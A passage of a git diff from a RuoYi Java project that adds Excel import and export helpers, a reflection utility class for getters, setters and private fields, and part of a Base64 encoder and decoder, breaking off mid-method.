+ */ + public void setPromptOrValidation(Sheet sheet, String[] textlist, String promptContent, int firstRow, int endRow, + int firstCol, int endCol) + { + DataValidationHelper helper = sheet.getDataValidationHelper(); + DataValidationConstraint constraint = textlist.length > 0 ? helper.createExplicitListConstraint(textlist) : helper.createCustomConstraint("DD1"); + CellRangeAddressList regions = new CellRangeAddressList(firstRow, endRow, firstCol, endCol); + DataValidation dataValidation = helper.createValidation(constraint, regions); + if (StringUtils.isNotEmpty(promptContent)) + { + // 如果设置了提示信息则鼠标放上去提示 + dataValidation.createPromptBox("", promptContent); + dataValidation.setShowPromptBox(true); + } + // 处理Excel兼容性问题 + if (dataValidation instanceof XSSFDataValidation) + { + dataValidation.setSuppressDropDownArrow(true); + dataValidation.setShowErrorBox(true); + } + else + { + dataValidation.setSuppressDropDownArrow(false); + } + sheet.addValidationData(dataValidation); + } + + /** + * 设置某些列的值只能输入预制的数据,显示下拉框(兼容超出一定数量的下拉框). + * + * @param sheet 要设置的sheet. + * @param textlist 下拉框显示的内容 + * @param promptContent 提示内容 + * @param firstRow 开始行 + * @param endRow 结束行 + * @param firstCol 开始列 + * @param endCol 结束列 + */ + public void setXSSFValidationWithHidden(Sheet sheet, String[] textlist, String promptContent, int firstRow, int endRow, int firstCol, int endCol) + { + String hideSheetName = "combo_" + firstCol + "_" + endCol; + Sheet hideSheet = wb.createSheet(hideSheetName); // 用于存储 下拉菜单数据 + for (int i = 0; i < textlist.length; i++) + { + hideSheet.createRow(i).createCell(0).setCellValue(textlist[i]); + } + // 创建名称,可被其他单元格引用 + Name name = wb.createName(); + name.setNameName(hideSheetName + "_data"); + name.setRefersToFormula(hideSheetName + "!$A$1:$A$" + textlist.length); + DataValidationHelper helper = sheet.getDataValidationHelper(); + // 加载下拉列表内容 + DataValidationConstraint constraint = helper.createFormulaListConstraint(hideSheetName + "_data"); + // 设置数据有效性加载在哪个单元格上,四个参数分别是:起始行、终止行、起始列、终止列 + CellRangeAddressList regions = new CellRangeAddressList(firstRow, endRow, firstCol, endCol); + // 数据有效性对象 + DataValidation dataValidation = helper.createValidation(constraint, regions); + if (StringUtils.isNotEmpty(promptContent)) + { + // 如果设置了提示信息则鼠标放上去提示 + dataValidation.createPromptBox("", promptContent); + dataValidation.setShowPromptBox(true); + } + // 处理Excel兼容性问题 + if (dataValidation instanceof XSSFDataValidation) + { + dataValidation.setSuppressDropDownArrow(true); + dataValidation.setShowErrorBox(true); + } + else + { + dataValidation.setSuppressDropDownArrow(false); + } + + sheet.addValidationData(dataValidation); + // 设置hiddenSheet隐藏 + wb.setSheetHidden(wb.getSheetIndex(hideSheet), true); + } + + /** + * 解析导出值 0=男,1=女,2=未知 + * + * @param propertyValue 参数值 + * @param converterExp 翻译注解 + * @param separator 分隔符 + * @return 解析后值 + */ + public static String convertByExp(String propertyValue, String converterExp, String separator) + { + StringBuilder propertyString = new StringBuilder(); + String[] convertSource = converterExp.split(","); + for (String item : convertSource) + { + String[] itemArray = item.split("="); + if (StringUtils.containsAny(propertyValue, separator)) + { + for (String value : propertyValue.split(separator)) + { + if (itemArray[0].equals(value)) + { + propertyString.append(itemArray[1] + separator); + break; + } + } + } + else + { + if (itemArray[0].equals(propertyValue)) + { + return itemArray[1]; + } + } + } + return StringUtils.stripEnd(propertyString.toString(), separator); + } + + /** + * 反向解析值 男=0,女=1,未知=2 + * + * @param propertyValue 参数值 + * @param converterExp 翻译注解 + * @param separator 分隔符 + * @return 解析后值 + */ + public static String reverseByExp(String propertyValue, String converterExp, String separator) + { + StringBuilder propertyString = new StringBuilder(); + String[] convertSource = converterExp.split(","); + for (String item : convertSource) + { + String[] itemArray = item.split("="); + if (StringUtils.containsAny(propertyValue, separator)) + { + for (String value : propertyValue.split(separator)) + { + if (itemArray[1].equals(value)) + { + propertyString.append(itemArray[0] + separator); + break; + } + } + } + else + { + if (itemArray[1].equals(propertyValue)) + { + return itemArray[0]; + } + } + } + return StringUtils.stripEnd(propertyString.toString(), separator); + } + + /** + * 解析字典值 + * + * @param dictValue 字典值 + * @param dictType 字典类型 + * @param separator 分隔符 + * @return 字典标签 + */ + public static String convertDictByExp(String dictValue, String dictType, String separator) + { + return DictUtils.getDictLabel(dictType, dictValue, separator); + } + + /** + * 反向解析值字典值 + * + * @param dictLabel 字典标签 + * @param dictType 字典类型 + * @param separator 分隔符 + * @return 字典值 + */ + public static String reverseDictByExp(String dictLabel, String dictType, String separator) + { + return DictUtils.getDictValue(dictType, dictLabel, separator); + } + + public static String getEnumByType(String dictLabel, String dictType) + { + RecordEnum[] values = RecordEnum.values(); + for (int i = 0; i < values.length; i++) { + String code = String.valueOf(values[i].getCode()); + if (code.equals(dictLabel)) return values[i].getInfo(); + } + return ""; + } + + + /** + * 数据处理器 + * + * @param value 数据值 + * @param excel 数据注解 + * @return + */ + public String dataFormatHandlerAdapter(Object value, Excel excel) + { + try + { + Object instance = excel.handler().newInstance(); + Method formatMethod = excel.handler().getMethod("format", new Class[] { Object.class, String[].class }); + value = formatMethod.invoke(instance, value, excel.args()); + } + catch (Exception e) + { + log.error("不能格式化数据 " + excel.handler(), e.getMessage()); + } + return Convert.toStr(value); + } + + /** + * 合计统计信息 + */ + private void addStatisticsData(Integer index, String text, Excel entity) + { + if (entity != null && entity.isStatistics()) + { + Double temp = 0D; + if (!statistics.containsKey(index)) + { + statistics.put(index, temp); + } + try + { + temp = Double.valueOf(text); + } + catch (NumberFormatException e) + { + } + statistics.put(index, statistics.get(index) + temp); + } + } + + /** + * 创建统计行 + */ + public void addStatisticsRow() + { + if (statistics.size() > 0) + { + Row row = sheet.createRow(sheet.getLastRowNum() + 1); + Set keys = statistics.keySet(); + Cell cell = row.createCell(0); + cell.setCellStyle(styles.get("total")); + cell.setCellValue("合计"); + + for (Integer key : keys) + { + cell = row.createCell(key); + cell.setCellStyle(styles.get("total")); + cell.setCellValue(DOUBLE_FORMAT.format(statistics.get(key))); + } + statistics.clear(); + } + } + + /** + * 编码文件名 + */ + public String encodingFilename(String filename) + { + filename = UUID.randomUUID() + "_" + filename + ".xlsx"; + return filename; + } + + /** + * 获取下载路径 + * + * @param filename 文件名称 + */ + public String getAbsoluteFile(String filename) + { + String downloadPath = RuoYiConfig.getDownloadPath() + filename; + File desc = new File(downloadPath); + if (!desc.getParentFile().exists()) + { + desc.getParentFile().mkdirs(); + } + return downloadPath; + } + + /** + * 获取bean中的属性值 + * + * @param vo 实体对象 + * @param field 字段 + * @param excel 注解 + * @return 最终的属性值 + * @throws Exception + */ + private Object getTargetValue(T vo, Field field, Excel excel) throws Exception + { + Object o = field.get(vo); + if (StringUtils.isNotEmpty(excel.targetAttr())) + { + String target = excel.targetAttr(); + if (target.contains(".")) + { + String[] targets = target.split("[.]"); + for (String name : targets) + { + o = getValue(o, name); + } + } + else + { + o = getValue(o, target); + } + } + return o; + } + + /** + * 以类的属性的get方法方法形式获取值 + * + * @param o + * @param name + * @return value + * @throws Exception + */ + private Object getValue(Object o, String name) throws Exception + { + if (StringUtils.isNotNull(o) && StringUtils.isNotEmpty(name)) + { + Class clazz = o.getClass(); + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + o = field.get(o); + } + return o; + } + + /** + * 得到所有定义字段 + */ + private void createExcelField() + { + this.fields = getFields(); + this.fields = this.fields.stream().sorted(Comparator.comparing(objects -> ((Excel) objects[1]).sort())).collect(Collectors.toList()); + this.maxHeight = getRowHeight(); + } + + /** + * 获取字段注解信息 + */ + public List getFields() + { + List fields = new ArrayList(); + List tempFields = new ArrayList<>(); + tempFields.addAll(Arrays.asList(clazz.getSuperclass().getDeclaredFields())); + tempFields.addAll(Arrays.asList(clazz.getDeclaredFields())); + for (Field field : tempFields) + { + if (!ArrayUtils.contains(this.excludeFields, field.getName())) + { + // 单注解 + if (field.isAnnotationPresent(Excel.class)) + { + Excel attr = field.getAnnotation(Excel.class); + if (attr != null && (attr.type() == Type.ALL || attr.type() == type)) + { + field.setAccessible(true); + fields.add(new Object[] { field, attr }); + } + if (Collection.class.isAssignableFrom(field.getType())) + { + subMethod = getSubMethod(field.getName(), clazz); + ParameterizedType pt = (ParameterizedType) field.getGenericType(); + Class subClass = (Class) pt.getActualTypeArguments()[0]; + this.subFields = FieldUtils.getFieldsListWithAnnotation(subClass, Excel.class); + } + } + + // 多注解 + if (field.isAnnotationPresent(Excels.class)) + { + Excels attrs = field.getAnnotation(Excels.class); + Excel[] excels = attrs.value(); + for (Excel attr : excels) + { + if (!ArrayUtils.contains(this.excludeFields, field.getName() + "." + attr.targetAttr()) + && (attr != null && (attr.type() == Type.ALL || attr.type() == type))) + { + field.setAccessible(true); + fields.add(new Object[] { field, attr }); + } + } + } + } + } + return fields; + } + + /** + * 根据注解获取最大行高 + */ + public short getRowHeight() + { + double maxHeight = 0; + for (Object[] os : this.fields) + { + Excel excel = (Excel) os[1]; + maxHeight = Math.max(maxHeight, excel.height()); + } + return (short) (maxHeight * 20); + } + + /** + * 创建一个工作簿 + */ + public void createWorkbook() + { + this.wb = new SXSSFWorkbook(500); + this.sheet = wb.createSheet(); + wb.setSheetName(0, sheetName); + this.styles = createStyles(wb); + } + + /** + * 创建工作表 + * + * @param sheetNo sheet数量 + * @param index 序号 + */ + public void createSheet(int sheetNo, int index) + { + // 设置工作表的名称. + if (sheetNo > 1 && index > 0) + { + this.sheet = wb.createSheet(); + this.createTitle(); + wb.setSheetName(index, sheetName + index); + } + } + + /** + * 获取单元格值 + * + * @param row 获取的行 + * @param column 获取单元格列号 + * @return 单元格值 + */ + public Object getCellValue(Row row, int column) + { + if (row == null) + { + return row; + } + Object val = ""; + try + { + Cell cell = row.getCell(column); + if (StringUtils.isNotNull(cell)) + { + if (cell.getCellType() == CellType.NUMERIC || cell.getCellType() == CellType.FORMULA) + { + val = cell.getNumericCellValue(); + if (DateUtil.isCellDateFormatted(cell)) + { + val = DateUtil.getJavaDate((Double) val); // POI Excel 日期格式转换 + } + else + { + if ((Double) val % 1 != 0) + { + val = new BigDecimal(val.toString()); + } + else + { + val = new DecimalFormat("0").format(val); + } + } + } + else if (cell.getCellType() == CellType.STRING) + { + val = cell.getStringCellValue(); + } + else if (cell.getCellType() == CellType.BOOLEAN) + { + val = cell.getBooleanCellValue(); + } + else if (cell.getCellType() == CellType.ERROR) + { + val = cell.getErrorCellValue(); + } + + } + } + catch (Exception e) + { + return val; + } + return val; + } + + /** + * 判断是否是空行 + * + * @param row 判断的行 + * @return + */ + private boolean isRowEmpty(Row row) + { + if (row == null) + { + return true; + } + for (int i = row.getFirstCellNum(); i < row.getLastCellNum(); i++) + { + Cell cell = row.getCell(i); + if (cell != null && cell.getCellType() != CellType.BLANK) + { + return false; + } + } + return true; + } + + /** + * 获取Excel2003图片 + * + * @param sheet 当前sheet对象 + * @param workbook 工作簿对象 + * @return Map key:图片单元格索引(1_1)String,value:图片流PictureData + */ + public static Map getSheetPictures03(HSSFSheet sheet, HSSFWorkbook workbook) + { + Map sheetIndexPicMap = new HashMap(); + List pictures = workbook.getAllPictures(); + if (!pictures.isEmpty()) + { + for (HSSFShape shape : sheet.getDrawingPatriarch().getChildren()) + { + HSSFClientAnchor anchor = (HSSFClientAnchor) shape.getAnchor(); + if (shape instanceof HSSFPicture) + { + HSSFPicture pic = (HSSFPicture) shape; + int pictureIndex = pic.getPictureIndex() - 1; + HSSFPictureData picData = pictures.get(pictureIndex); + String picIndex = anchor.getRow1() + "_" + anchor.getCol1(); + sheetIndexPicMap.put(picIndex, picData); + } + } + return sheetIndexPicMap; + } + else + { + return sheetIndexPicMap; + } + } + + /** + * 获取Excel2007图片 + * + * @param sheet 当前sheet对象 + * @param workbook 工作簿对象 + * @return Map key:图片单元格索引(1_1)String,value:图片流PictureData + */ + public static Map getSheetPictures07(XSSFSheet sheet, XSSFWorkbook workbook) + { + Map sheetIndexPicMap = new HashMap(); + for (POIXMLDocumentPart dr : sheet.getRelations()) + { + if (dr instanceof XSSFDrawing) + { + XSSFDrawing drawing = (XSSFDrawing) dr; + List shapes = drawing.getShapes(); + for (XSSFShape shape : shapes) + { + if (shape instanceof XSSFPicture) + { + XSSFPicture pic = (XSSFPicture) shape; + XSSFClientAnchor anchor = pic.getPreferredSize(); + CTMarker ctMarker = anchor.getFrom(); + String picIndex = ctMarker.getRow() + "_" + ctMarker.getCol(); + sheetIndexPicMap.put(picIndex, pic.getPictureData()); + } + } + } + } + return sheetIndexPicMap; + } + + /** + * 格式化不同类型的日期对象 + * + * @param dateFormat 日期格式 + * @param val 被格式化的日期对象 + * @return 格式化后的日期字符 + */ + public String parseDateToStr(String dateFormat, Object val) + { + if (val == null) + { + return ""; + } + String str; + if (val instanceof Date) + { + str = DateUtils.parseDateToStr(dateFormat, (Date) val); + } + else if (val instanceof LocalDateTime) + { + str = DateUtils.parseDateToStr(dateFormat, DateUtils.toDate((LocalDateTime) val)); + } + else if (val instanceof LocalDate) + { + str = DateUtils.parseDateToStr(dateFormat, DateUtils.toDate((LocalDate) val)); + } + else + { + str = val.toString(); + } + return str; + } + + /** + * 是否有对象的子列表 + */ + public boolean isSubList() + { + return StringUtils.isNotNull(subFields) && subFields.size() > 0; + } + + /** + * 是否有对象的子列表,集合不为空 + */ + public boolean isSubListValue(T vo) + { + return StringUtils.isNotNull(subFields) && subFields.size() > 0 && StringUtils.isNotNull(getListCellValue(vo)) && getListCellValue(vo).size() > 0; + } + + /** + * 获取集合的值 + */ + public Collection getListCellValue(Object obj) + { + Object value; + try + { + value = subMethod.invoke(obj, new Object[] {}); + } + catch (Exception e) + { + return new ArrayList(); + } + return (Collection) value; + } + + /** + * 获取对象的子列表方法 + * + * @param name 名称 + * @param pojoClass 类对象 + * @return 子列表方法 + */ + public Method getSubMethod(String name, Class pojoClass) + { + StringBuffer getMethodName = new StringBuffer("get"); + getMethodName.append(name.substring(0, 1).toUpperCase()); + getMethodName.append(name.substring(1)); + Method method = null; + try + { + method = pojoClass.getMethod(getMethodName.toString(), new Class[] {}); + } + catch (Exception e) + { + log.error("获取对象异常{}", e.getMessage()); + } + return method; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/reflect/ReflectUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/reflect/ReflectUtils.java new file mode 100644 index 0000000..b19953e --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/reflect/ReflectUtils.java @@ -0,0 +1,410 @@ +package com.ruoyi.common.utils.reflect; + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Type; +import java.util.Date; +import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.Validate; +import org.apache.poi.ss.usermodel.DateUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import com.ruoyi.common.core.text.Convert; +import com.ruoyi.common.utils.DateUtils; + +/** + * 反射工具类. 提供调用getter/setter方法, 访问私有变量, 调用私有方法, 获取泛型类型Class, 被AOP过的真实类等工具函数. + * + * @author ruoyi + */ +@SuppressWarnings("rawtypes") +public class ReflectUtils +{ + private static final String SETTER_PREFIX = "set"; + + private static final String GETTER_PREFIX = "get"; + + private static final String CGLIB_CLASS_SEPARATOR = "$$"; + + private static Logger logger = LoggerFactory.getLogger(ReflectUtils.class); + + /** + * 调用Getter方法. + * 支持多级,如:对象名.对象名.方法 + */ + @SuppressWarnings("unchecked") + public static E invokeGetter(Object obj, String propertyName) + { + Object object = obj; + for (String name : StringUtils.split(propertyName, ".")) + { + String getterMethodName = GETTER_PREFIX + StringUtils.capitalize(name); + object = invokeMethod(object, getterMethodName, new Class[] {}, new Object[] {}); + } + return (E) object; + } + + /** + * 调用Setter方法, 仅匹配方法名。 + * 支持多级,如:对象名.对象名.方法 + */ + public static void invokeSetter(Object obj, String propertyName, E value) + { + Object object = obj; + String[] names = StringUtils.split(propertyName, "."); + for (int i = 0; i < names.length; i++) + { + if (i < names.length - 1) + { + String getterMethodName = GETTER_PREFIX + StringUtils.capitalize(names[i]); + object = invokeMethod(object, getterMethodName, new Class[] {}, new Object[] {}); + } + else + { + String setterMethodName = SETTER_PREFIX + StringUtils.capitalize(names[i]); + invokeMethodByName(object, setterMethodName, new Object[] { value }); + } + } + } + + /** + * 直接读取对象属性值, 无视private/protected修饰符, 不经过getter函数. + */ + @SuppressWarnings("unchecked") + public static E getFieldValue(final Object obj, final String fieldName) + { + Field field = getAccessibleField(obj, fieldName); + if (field == null) + { + logger.debug("在 [" + obj.getClass() + "] 中,没有找到 [" + fieldName + "] 字段 "); + return null; + } + E result = null; + try + { + result = (E) field.get(obj); + } + catch (IllegalAccessException e) + { + logger.error("不可能抛出的异常{}", e.getMessage()); + } + return result; + } + + /** + * 直接设置对象属性值, 无视private/protected修饰符, 不经过setter函数. + */ + public static void setFieldValue(final Object obj, final String fieldName, final E value) + { + Field field = getAccessibleField(obj, fieldName); + if (field == null) + { + // throw new IllegalArgumentException("在 [" + obj.getClass() + "] 中,没有找到 [" + fieldName + "] 字段 "); + logger.debug("在 [" + obj.getClass() + "] 中,没有找到 [" + fieldName + "] 字段 "); + return; + } + try + { + field.set(obj, value); + } + catch (IllegalAccessException e) + { + logger.error("不可能抛出的异常: {}", e.getMessage()); + } + } + + /** + * 直接调用对象方法, 无视private/protected修饰符. + * 用于一次性调用的情况,否则应使用getAccessibleMethod()函数获得Method后反复调用. + * 同时匹配方法名+参数类型, + */ + @SuppressWarnings("unchecked") + public static E invokeMethod(final Object obj, final String methodName, final Class[] parameterTypes, + final Object[] args) + { + if (obj == null || methodName == null) + { + return null; + } + Method method = getAccessibleMethod(obj, methodName, parameterTypes); + if (method == null) + { + logger.debug("在 [" + obj.getClass() + "] 中,没有找到 [" + methodName + "] 方法 "); + return null; + } + try + { + return (E) method.invoke(obj, args); + } + catch (Exception e) + { + String msg = "method: " + method + ", obj: " + obj + ", args: " + args + ""; + throw convertReflectionExceptionToUnchecked(msg, e); + } + } + + /** + * 直接调用对象方法, 无视private/protected修饰符, + * 用于一次性调用的情况,否则应使用getAccessibleMethodByName()函数获得Method后反复调用. + * 只匹配函数名,如果有多个同名函数调用第一个。 + */ + @SuppressWarnings("unchecked") + public static E invokeMethodByName(final Object obj, final String methodName, final Object[] args) + { + Method method = getAccessibleMethodByName(obj, methodName, args.length); + if (method == null) + { + // 如果为空不报错,直接返回空。 + logger.debug("在 [" + obj.getClass() + "] 中,没有找到 [" + methodName + "] 方法 "); + return null; + } + try + { + // 类型转换(将参数数据类型转换为目标方法参数类型) + Class[] cs = method.getParameterTypes(); + for (int i = 0; i < cs.length; i++) + { + if (args[i] != null && !args[i].getClass().equals(cs[i])) + { + if (cs[i] == String.class) + { + args[i] = Convert.toStr(args[i]); + if (StringUtils.endsWith((String) args[i], ".0")) + { + args[i] = StringUtils.substringBefore((String) args[i], ".0"); + } + } + else if (cs[i] == Integer.class) + { + args[i] = Convert.toInt(args[i]); + } + else if (cs[i] == Long.class) + { + args[i] = Convert.toLong(args[i]); + } + else if (cs[i] == Double.class) + { + args[i] = Convert.toDouble(args[i]); + } + else if (cs[i] == Float.class) + { + args[i] = Convert.toFloat(args[i]); + } + else if (cs[i] == Date.class) + { + if (args[i] instanceof String) + { + args[i] = DateUtils.parseDate(args[i]); + } + else + { + args[i] = DateUtil.getJavaDate((Double) args[i]); + } + } + else if (cs[i] == boolean.class || cs[i] == Boolean.class) + { + args[i] = Convert.toBool(args[i]); + } + } + } + return (E) method.invoke(obj, args); + } + catch (Exception e) + { + String msg = "method: " + method + ", obj: " + obj + ", args: " + args + ""; + throw convertReflectionExceptionToUnchecked(msg, e); + } + } + + /** + * 循环向上转型, 获取对象的DeclaredField, 并强制设置为可访问. + * 如向上转型到Object仍无法找到, 返回null. + */ + public static Field getAccessibleField(final Object obj, final String fieldName) + { + // 为空不报错。直接返回 null + if (obj == null) + { + return null; + } + Validate.notBlank(fieldName, "fieldName can't be blank"); + for (Class superClass = obj.getClass(); superClass != Object.class; superClass = superClass.getSuperclass()) + { + try + { + Field field = superClass.getDeclaredField(fieldName); + makeAccessible(field); + return field; + } + catch (NoSuchFieldException e) + { + continue; + } + } + return null; + } + + /** + * 循环向上转型, 获取对象的DeclaredMethod,并强制设置为可访问. + * 如向上转型到Object仍无法找到, 返回null. + * 匹配函数名+参数类型。 + * 用于方法需要被多次调用的情况. 先使用本函数先取得Method,然后调用Method.invoke(Object obj, Object... args) + */ + public static Method getAccessibleMethod(final Object obj, final String methodName, + final Class... parameterTypes) + { + // 为空不报错。直接返回 null + if (obj == null) + { + return null; + } + Validate.notBlank(methodName, "methodName can't be blank"); + for (Class searchType = obj.getClass(); searchType != Object.class; searchType = searchType.getSuperclass()) + { + try + { + Method method = searchType.getDeclaredMethod(methodName, parameterTypes); + makeAccessible(method); + return method; + } + catch (NoSuchMethodException e) + { + continue; + } + } + return null; + } + + /** + * 循环向上转型, 获取对象的DeclaredMethod,并强制设置为可访问. + * 如向上转型到Object仍无法找到, 返回null. + * 只匹配函数名。 + * 用于方法需要被多次调用的情况. 先使用本函数先取得Method,然后调用Method.invoke(Object obj, Object... args) + */ + public static Method getAccessibleMethodByName(final Object obj, final String methodName, int argsNum) + { + // 为空不报错。直接返回 null + if (obj == null) + { + return null; + } + Validate.notBlank(methodName, "methodName can't be blank"); + for (Class searchType = obj.getClass(); searchType != Object.class; searchType = searchType.getSuperclass()) + { + Method[] methods = searchType.getDeclaredMethods(); + for (Method method : methods) + { + if (method.getName().equals(methodName) && method.getParameterTypes().length == argsNum) + { + makeAccessible(method); + return method; + } + } + } + return null; + } + + /** + * 改变private/protected的方法为public,尽量不调用实际改动的语句,避免JDK的SecurityManager抱怨。 + */ + public static void makeAccessible(Method method) + { + if ((!Modifier.isPublic(method.getModifiers()) || !Modifier.isPublic(method.getDeclaringClass().getModifiers())) + && !method.isAccessible()) + { + method.setAccessible(true); + } + } + + /** + * 改变private/protected的成员变量为public,尽量不调用实际改动的语句,避免JDK的SecurityManager抱怨。 + */ + public static void makeAccessible(Field field) + { + if ((!Modifier.isPublic(field.getModifiers()) || !Modifier.isPublic(field.getDeclaringClass().getModifiers()) + || Modifier.isFinal(field.getModifiers())) && !field.isAccessible()) + { + field.setAccessible(true); + } + } + + /** + * 通过反射, 获得Class定义中声明的泛型参数的类型, 注意泛型必须定义在父类处 + * 如无法找到, 返回Object.class. + */ + @SuppressWarnings("unchecked") + public static Class getClassGenricType(final Class clazz) + { + return getClassGenricType(clazz, 0); + } + + /** + * 通过反射, 获得Class定义中声明的父类的泛型参数的类型. + * 如无法找到, 返回Object.class. + */ + public static Class getClassGenricType(final Class clazz, final int index) + { + Type genType = clazz.getGenericSuperclass(); + + if (!(genType instanceof ParameterizedType)) + { + logger.debug(clazz.getSimpleName() + "'s superclass not ParameterizedType"); + return Object.class; + } + + Type[] params = ((ParameterizedType) genType).getActualTypeArguments(); + + if (index >= params.length || index < 0) + { + logger.debug("Index: " + index + ", Size of " + clazz.getSimpleName() + "'s Parameterized Type: " + + params.length); + return Object.class; + } + if (!(params[index] instanceof Class)) + { + logger.debug(clazz.getSimpleName() + " not set the actual class on superclass generic parameter"); + return Object.class; + } + + return (Class) params[index]; + } + + public static Class getUserClass(Object instance) + { + if (instance == null) + { + throw new RuntimeException("Instance must not be null"); + } + Class clazz = instance.getClass(); + if (clazz != null && clazz.getName().contains(CGLIB_CLASS_SEPARATOR)) + { + Class superClass = clazz.getSuperclass(); + if (superClass != null && !Object.class.equals(superClass)) + { + return superClass; + } + } + return clazz; + + } + + /** + * 将反射时的checked exception转换为unchecked exception. + */ + public static RuntimeException convertReflectionExceptionToUnchecked(String msg, Exception e) + { + if (e instanceof IllegalAccessException || e instanceof IllegalArgumentException + || e instanceof NoSuchMethodException) + { + return new IllegalArgumentException(msg, e); + } + else if (e instanceof InvocationTargetException) + { + return new RuntimeException(msg, ((InvocationTargetException) e).getTargetException()); + } + return new RuntimeException(msg, e); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Base64.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Base64.java new file mode 100644 index 0000000..ca1cd92 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Base64.java @@ -0,0 +1,291 @@ +package com.ruoyi.common.utils.sign; + +/** + * Base64工具类 + * + * @author ruoyi + */ +public final class Base64 +{ + static private final int BASELENGTH = 128; + static private final int LOOKUPLENGTH = 64; + static private final int TWENTYFOURBITGROUP = 24; + static private final int EIGHTBIT = 8; + static private final int SIXTEENBIT = 16; + static private final int FOURBYTE = 4; + static private final int SIGN = -128; + static private final char PAD = '='; + static final private byte[] base64Alphabet = new byte[BASELENGTH]; + static final private char[] lookUpBase64Alphabet = new char[LOOKUPLENGTH]; + + static + { + for (int i = 0; i < BASELENGTH; ++i) + { + base64Alphabet[i] = -1; + } + for (int i = 'Z'; i >= 'A'; i--) + { + base64Alphabet[i] = (byte) (i - 'A'); + } + for (int i = 'z'; i >= 'a'; i--) + { + base64Alphabet[i] = (byte) (i - 'a' + 26); + } + + for (int i = '9'; i >= '0'; i--) + { + base64Alphabet[i] = (byte) (i - '0' + 52); + } + + base64Alphabet['+'] = 62; + base64Alphabet['/'] = 63; + + for (int i = 0; i <= 25; i++) + { + lookUpBase64Alphabet[i] = (char) ('A' + i); + } + + for (int i = 26, j = 0; i <= 51; i++, j++) + { + lookUpBase64Alphabet[i] = (char) ('a' + j); + } + + for (int i = 52, j = 0; i <= 61; i++, j++) + { + lookUpBase64Alphabet[i] = (char) ('0' + j); + } + lookUpBase64Alphabet[62] = (char) '+'; + lookUpBase64Alphabet[63] = (char) '/'; + } + + private static boolean isWhiteSpace(char octect) + { + return (octect == 0x20 || octect == 0xd || octect == 0xa || octect == 0x9); + } + + private static boolean isPad(char octect) + { + return (octect == PAD); + } + + private static boolean isData(char octect) + { + return (octect < BASELENGTH && base64Alphabet[octect] != -1); + } + + /** + * Encodes hex octects into Base64 + * + * @param binaryData Array containing binaryData + * @return Encoded Base64 array + */ + public static String encode(byte[] binaryData) + { + if (binaryData == null) + { + return null; + } + + int lengthDataBits = binaryData.length * EIGHTBIT; + if (lengthDataBits == 0) + { + return ""; + } + + int fewerThan24bits = lengthDataBits % TWENTYFOURBITGROUP; + int numberTriplets = lengthDataBits / TWENTYFOURBITGROUP; + int numberQuartet = fewerThan24bits != 0 ? numberTriplets + 1 : numberTriplets; + char encodedData[] = null; + + encodedData = new char[numberQuartet * 4]; + + byte k = 0, l = 0, b1 = 0, b2 = 0, b3 = 0; + + int encodedIndex = 0; + int dataIndex = 0; + + for (int i = 0; i < numberTriplets; i++) + { + b1 = binaryData[dataIndex++]; + b2 = binaryData[dataIndex++]; + b3 = binaryData[dataIndex++]; + + l = (byte) (b2 & 0x0f); + k = (byte) (b1 & 0x03); + + byte val1 = ((b1 & SIGN) == 0) ? (byte) (b1 >> 2) : (byte) ((b1) >> 2 ^ 0xc0); + byte val2 = ((b2 & SIGN) == 0) ? (byte) (b2 >> 4) : (byte) ((b2) >> 4 ^ 0xf0); + byte val3 = ((b3 & SIGN) == 0) ? (byte) (b3 >> 6) : (byte) ((b3) >> 6 ^ 0xfc); + + encodedData[encodedIndex++] = lookUpBase64Alphabet[val1]; + encodedData[encodedIndex++] = lookUpBase64Alphabet[val2 | (k << 4)]; + encodedData[encodedIndex++] = lookUpBase64Alphabet[(l << 2) | val3]; + encodedData[encodedIndex++] = lookUpBase64Alphabet[b3 & 0x3f]; + } + + // form integral number of 6-bit groups + if (fewerThan24bits == EIGHTBIT) + { + b1 = binaryData[dataIndex]; + k = (byte) (b1 & 0x03); + byte val1 = ((b1 & SIGN) == 0) ? (byte) (b1 >> 2) : (byte) ((b1) >> 2 ^ 0xc0); + encodedData[encodedIndex++] = lookUpBase64Alphabet[val1]; + encodedData[encodedIndex++] = lookUpBase64Alphabet[k << 4]; + encodedData[encodedIndex++] = PAD; + encodedData[encodedIndex++] = PAD; + } + else if (fewerThan24bits == SIXTEENBIT) + { + b1 = binaryData[dataIndex]; + b2 = binaryData[dataIndex + 1]; + l = (byte) (b2 & 0x0f); + k = (byte) (b1 & 0x03); + + byte val1 = ((b1 & SIGN) == 0) ? (byte) (b1 >> 2) : (byte) ((b1) >> 2 ^ 0xc0); + byte val2 = ((b2 & SIGN) == 0) ? (byte) (b2 >> 4) : (byte) ((b2) >> 4 ^ 0xf0); + + encodedData[encodedIndex++] = lookUpBase64Alphabet[val1]; + encodedData[encodedIndex++] = lookUpBase64Alphabet[val2 | (k << 4)]; + encodedData[encodedIndex++] = lookUpBase64Alphabet[l << 2]; + encodedData[encodedIndex++] = PAD; + } + return new String(encodedData); + } + + /** + * Decodes Base64 data into octects + * + * @param encoded string containing Base64 data + * @return Array containind decoded data. + */ + public static byte[] decode(String encoded) + { + if (encoded == null) + { + return null; + } + + char[] base64Data = encoded.toCharArray(); + // remove white spaces + int len = removeWhiteSpace(base64Data); + + if (len % FOURBYTE != 0) + { + return null;// should be divisible by four + } + + int numberQuadruple = (len / FOURBYTE); + + if (numberQuadruple == 0) + { + return new byte[0]; + } + + byte decodedData[] = null; + byte b1 = 0, b2 = 0, b3 = 0, b4 = 0; + char d1 = 0, d2 = 0, d3 = 0, d4 = 0; + + int i = 0; + int encodedIndex = 0; + int dataIndex = 0; + decodedData = new byte[(numberQuadruple) * 3]; + + for (; i < numberQuadruple - 1; i++) + { + + if (!isData((d1 = base64Data[dataIndex++])) || !isData((d2 = base64Data[dataIndex++])) + || !isData((d3 = base64Data[dataIndex++])) || !isData((d4 = base64Data[dataIndex++]))) + { + return null; + } // if found "no data" just return null + + b1 = base64Alphabet[d1]; + b2 = 